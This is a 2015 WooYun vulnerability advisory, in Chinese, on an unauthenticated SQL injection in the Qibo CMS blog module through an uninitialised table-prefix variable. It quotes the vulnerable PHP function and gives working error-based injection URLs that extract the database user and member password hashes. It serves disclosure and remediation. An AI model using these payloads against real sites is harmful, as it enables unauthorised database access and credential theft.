当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0112049

漏洞标题:齐博博客系统sql注入一枚(版本限制,部分通过)

相关厂商:齐博CMS

漏洞作者: 牛肉包子

提交时间:2015-05-05 17:08

修复时间:2015-08-06 11:34

公开时间:2015-08-06 11:34

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-05-05: 细节已通知厂商并且等待厂商处理中
2015-05-08: 厂商已经确认,细节仅向厂商公开
2015-05-11: 细节向第三方安全合作伙伴开放
2015-07-02: 细节向核心白帽子及相关领域专家公开
2015-07-12: 细节向普通白帽子公开
2015-07-22: 细节向实习白帽子公开
2015-08-06: 细节向公众公开

简要描述:

无需登录,无需注册直接出数据。

详细说明:

无需登录,无需注册直接出数据。
--------------------------------------------------------------------------------------
看到
/blog/template/space/file/listbbs.php

function get_listbbs($rows){
global $db,$uid,$TB_pre,$Mrows,$page,$Morder,$Mdesc,$webdb,$VlogCfg;
$VlogCfg[content_leng]==0 && $VlogCfg[content_leng]=120;
if($page<1){
$page=1;
}
$min=($page-1)*$rows;
$albumid && $SQL=" AND albumid='$albumid' ";
$Mdesc[listbbs] || $Mdesc[listbbs]='DESC';
$Morder[listbbs] || $Morder[listbbs]="tid";
$query = $db->query("SELECT T.*,C.* FROM {$TB_pre}threads T LEFT JOIN {$TB_pre}tmsgs C ON T.tid=C.tid WHERE T.authorid='$uid' ORDER BY T.$Morder[listbbs] $Mdesc[listbbs] LIMIT $min,$rows");
while($rs = $db->fetch_array($query)){
$rs[postdate]=date("Y-m-d H:i",$rs[postdate]);
if($VlogCfg[content_leng]>0){
$rs[content]=@preg_replace('/<([^>]*)>/is',"",$rs[content]); //把HTML代码过滤掉
$rs[content]=get_word($rs[content],$VlogCfg[content_leng]);
}else{
$rs[content]='';
}
$listdb[]=$rs;
}
return $listdb;
}


这个函数中的$TB_pre未初始化,然后根据齐博系统的伪全局变量注册。然后造成sql注入。
可以构造

http://127.0.0.1/qibo_blog/blog/index.php?file=listbbs&uid=1&id=1&TB_pre=qb_module where 1=1 or updatexml(2,concat(0x7e,(user())),0) %23


1.png


然后构造

http://127.0.0.1/qibo_blog/blog/index.php?file=listbbs&uid=1'&id=1&TB_pre=qb_module where 1=1 or updatexml(2,concat(0x7e,((select concat(username,0x5c,password) from qb_members limit 0,1))),0) %23


2.png


demo测试

2.png

漏洞证明:

2.png

修复方案:

初始化

版权声明:转载请注明来源 牛肉包子@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-05-08 11:34

厂商回复:

这个问题之前有人提出来了。

最新状态:

暂无